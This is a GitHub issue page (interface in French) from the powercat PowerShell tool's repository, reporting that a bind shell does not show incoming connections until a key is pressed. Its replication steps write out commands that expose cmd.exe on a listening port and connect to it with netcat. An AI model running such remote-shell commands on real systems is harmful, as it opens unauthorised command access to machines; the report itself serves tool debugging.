besimorhino/powercat

BIND shells do not return a prompt after remote connection

Ouverte

#19 ouverte le 22 avr. 2020

 (12 commentaires) (2 réactions) (0 personne assignée)PowerShell (484 forks)batch import
help wantedquestion

Métriques du dépôt

Stars
 (2 387 étoiles)
Métriques de merge PR
 (Aucune PR mergée en 30 j)

Description

The bind shell powercat -l -p 4444 -e cmd.exe does not return a prompt until I press Up Arrow in the prompt running powercat.

This may be due to latency involved with an OpenVPN/rdesktop set-up, but this latency would likely be involved in operational use. I did not attempt to recreate locally to see if latency was a factor.

Replication: In PowerShell: powercat -v -l -p 4444 -e cmd.exe The prompt will report: Listening on [0.0.0.0] (port 443) On connecting device: nc -nv 123.123.123.123 4444

After connecting, the connecting device displays: (UNKNOWN) [123.123.123.123] 4444 (?) open The bind device does not display the connection in the prompt, but the connection is visible in netstat.

In PowerShell Prompt: <press up arrow> The prompt will report Connection from [123.123.123.123] port [tcp] accepted (source port 5555) and proceed as normal.

Guide contributeur